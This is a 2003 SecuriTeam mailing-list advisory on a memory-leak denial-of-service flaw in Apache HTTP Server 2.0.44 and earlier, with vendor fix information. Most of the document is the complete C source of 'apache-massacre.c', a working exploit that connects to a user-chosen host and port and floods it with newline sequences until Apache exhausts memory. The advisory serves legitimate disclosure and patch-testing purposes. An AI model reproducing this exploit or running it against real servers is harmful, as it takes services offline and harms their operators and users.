[UNIX] Denial of Service in Apache HTTP Server 2.x

From: support@securiteam.com
Date: 04/10/03

  • Next message: support@securiteam.com: "[TOOL] PKZip Plaintext Attack Using Pkcrack (Step by Step)"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 10 Apr 2003 00:05:42 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Denial of Service in Apache HTTP Server 2.x
    ------------------------------------------------------------------------

    SUMMARY

    Background:
    The Apache Software Foundation's HTTP Server Project is an effort to
    develop and maintain an open-source web server for modern operating
    systems including Unix and Microsoft Corp.'s Windows. More information is
    available at <http://httpd.apache.org/> http://httpd.apache.org/.

    A memory leak in Apache server, allows a remote user to exhaust system
    resources and create DoS condition on the host.

    DETAILS

    Remote exploitation of a memory leak in the Apache HTTP Server causes the
    daemon to over utilize system resources on an affected system. The problem
    is HTTP Server's handling of large chunks of consecutive linefeed
    characters. The web server allocates an eighty-byte buffer for each
    linefeed character without specifying an upper limit for allocation.
    Consequently, an attacker can remotely exhaust system resources by
    generating many requests containing these characters.

    Vendor status:
    Apache HTTP Server 2.0.45, which fixes this vulnerability, can be
    downloaded at http://httpd.apache.org/download.cgi . This release
    introduces a limit of 100 blank lines accepted before an HTTP connection
    is discarded.

    Exploit code:
    "apache-massacre.c" allows the user to target a host/port of choice. It
    uses a single-connection method, and is stopped with a simple CTRL+C
    interrupt.

    It sends the data (which is patterns of "\r\n") in "chunks". It sends a
    pre-specified number of character sequences, and then checks the interrupt
    flag for a request to terminate. Deployed on a high-bandwidth connection
    (or a low-bandwidth connection with a lot of time to spare), Apache is
    disabled within seconds.

    The attached code compiles cleanly on Win32, and should compile on any
    system that is POSIX-compliant, and offers a BSD socket interface.

    /* apache-massacre.c
     * Test code for Apache 2.x Memory Leak
     * By Matthew Murphy
     *
     * DISCLAIMER: This exploit tool is provided only to test networks for a
     * known vulnerability. Do not use this tool on systems you do not
    control,
     * and do not use this tool on networks you do not own without appropriate
     * consent from the network owner. You are responsible for any damage
    your
     * use of the tool causes. In no event may the author of this tool be
    held
     * responsible for damages relating to its use.
     *
     * Apache 2.x (2.0.44 and prior) has a memory leak in its request handling
     * that causes it to handle newlines in an awkward manner -- it allocates
     * 80 bytes for each. This quickly turns into a nightmare for server
    stats.
     * On Windows XP, I was able to cause Apache to consume 390 MB in a matter
     * of a few minutes.
     *
     * The idea is to fire off millions of newlines, depriving Apache of
    valuable
     * memory, causing a huge performance degradation. The worst part about
    this
     * flaw is that leaked memory isn't recovered until the Apache child
    process
     * terminates.
     *
     * The high consumption drops some when the session ends, but there is
    still
     * a substantial increase in memory use that doesn't end until Apache
    exits.
     * I got memory use up to a peak of about 69,000 KB, and it dropped down
    to
     * about 37,000 KB. The attacking code was the only traffic on the server

    --
     * the idle memory use of the server is about 7,132 KB.  Although the leak 
    is
     * cut in half when the connection terminates, the leak is still a mighty
     * 29,878 KB (21.3 MB).  All this occurred in a matter of 15 seconds on my
     * 2.51 GHz P4.
     *
     * As with most Apache exposures, the impacts vary between ports of the 
    server:
     *
     * Non-Unix (Win32, Netware, OS/2): These ports are most adversely 
    affected
     * by this, as Apache's child process doesn't terminate normally unless 
    the
     * parent process stops.  This means that leaks (and any performance loss) 
    hang
     * around until Apache is restarted.
     *
     * Unix/mpm_prefork: This MPM offers the most protection against 
    successful
     * exploitation, as its processes exit at the end of the request.
     *
     * Unix/other MPMs: These other MPMs utilize multiple Apache processes for 
     * multiple Apache requests.  Depending on the MPM in use and the traffic 
    rates
     * of the server, this may be used to the advantage of a potential 
    attacker.
     * If multiple different Apache processes are utilized, an attacker can 
    spread
     * the substantial leak between processes to dodge resource limits imposed 
    on
     * httpd's UID (usually nobody, www, or apache)
     *
     * Credit: iDEFENSE reported this issue to several security lists on April 
    8,
     * 2003 following the Apache release announcement.  Apache fixed the flaw 
    about
     * a month after the initial disclosure of this vulnerability.  iDEFENSE 
    credits
     * the discovery of this vulnerability to an anonymous researcher.
     *
     * Happy Hunting!
     */
    #ifndef _WIN32
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <fcntl.h>
    #else
    #include <windows.h>
    #pragma comment(lib, "wsock32.lib")
    #endif
    #include <stdlib.h>
    #include <stdio.h>
    int sig_fired = 0;
    #ifndef _WIN32
    void sig_handler(int sig) {
    #else
    BOOL WINAPI sig_handler(DWORD dwCtrlType) {
    #endif
      sig_fired = 1;
    #ifndef _WIN32
      return;
    #else
      return TRUE;
    #endif
    }
    int main(int argc, char *argv[]) {
      SOCKET s;
      struct sockaddr_in sin;
      char buffer[1025];
      struct hostent *he;
      unsigned short iPort = 80;
      int newlines = 100;
      char *p;
      char *p2;
      int i;
    #ifdef _WIN32
      WSADATA wsa_prov;
    #endif
      printf("Apache Massacre v1.0\r\n");
      printf("Exploit by Matthew Murphy\r\n");
      printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
    #ifdef _WIN32
      if (WSAStartup(0x0101, &wsa_prov)) {
        perror("WSAStartup");
        exit(1);
      }
    #endif
      printf("Please enter the web server's host/IP: ");
      fgets(&buffer[0], 1024, stdin);
      he = gethostbyname(&buffer[0]);
      if (!he) {
        perror("gethostbyname");
        exit(1);
      }
      sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
      printf("Please enter the web server's port: ");
      fgets(&buffer[0], 1024, stdin);
      iPort = (unsigned short)atoi(&buffer[0]);
    #ifndef _WIN32
    #ifdef _SOLARIS
      sigset(SIGINT, &sig_handler);
    #else
      signal(SIGINT, &sig_handler);
    #endif
    #else
      SetConsoleCtrlHandler(&sig_handler, TRUE);
    #endif
      printf("How many newlines should be in each request [100]: ");
      fgets(&buffer[0], 1024, stdin);
      if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
        newlines = atoi(&buffer[0]);
      }
      p = malloc(newlines*2);
      p2 = p;
      for (i = 0; i < newlines; i++) {
        *p2 = 0x0D;
        p2++;
        *p2 = 0x0A;
        p2++;
      }
      newlines += newlines;
      s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if (s < 0) {
        perror("socket");
        exit(1);
      }
      sin.sin_family = AF_INET;
      sin.sin_port = htons(iPort);
      if (connect(s, (const struct sockaddr *)&sin, sizeof(struct 
    sockaddr_in))) {
        perror("connect");
        exit(1);
      }
      while (1) {
        if (!send(s, (char *)p, newlines, 0) == newlines) {
          perror("send");
          exit(1);
        }
        if (sig_fired) {
          printf("Terminating on SIGINT");
          free(p);
    #ifndef _WIN32
          close(s);
    #else
          closesocket(s);
          WSACleanup();
    #endif
          exit(0);
        }
      }
    }
    ADDITIONAL INFORMATION
    Original advisory was published by iDEFENSE and can be found at:  
    <http://www.idefense.com/advisory/04.08.03.txt> 
    http://www.idefense.com/advisory/04.08.03.txt.
    Exploit code provided by  <mailto:mattmurphy@kc.rr.com> 
    mattmurphy@kc.rr.com.
    ======================================== 
    This bulletin is sent to members of the SecuriTeam mailing list. 
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com 
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com 
    ==================== 
    ==================== 
    DISCLAIMER: 
    The information in this bulletin is provided "AS IS" without warranty of any kind. 
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. 
    

  • Next message: support@securiteam.com: "[TOOL] PKZip Plaintext Attack Using Pkcrack (Step by Step)"

    Relevant Pages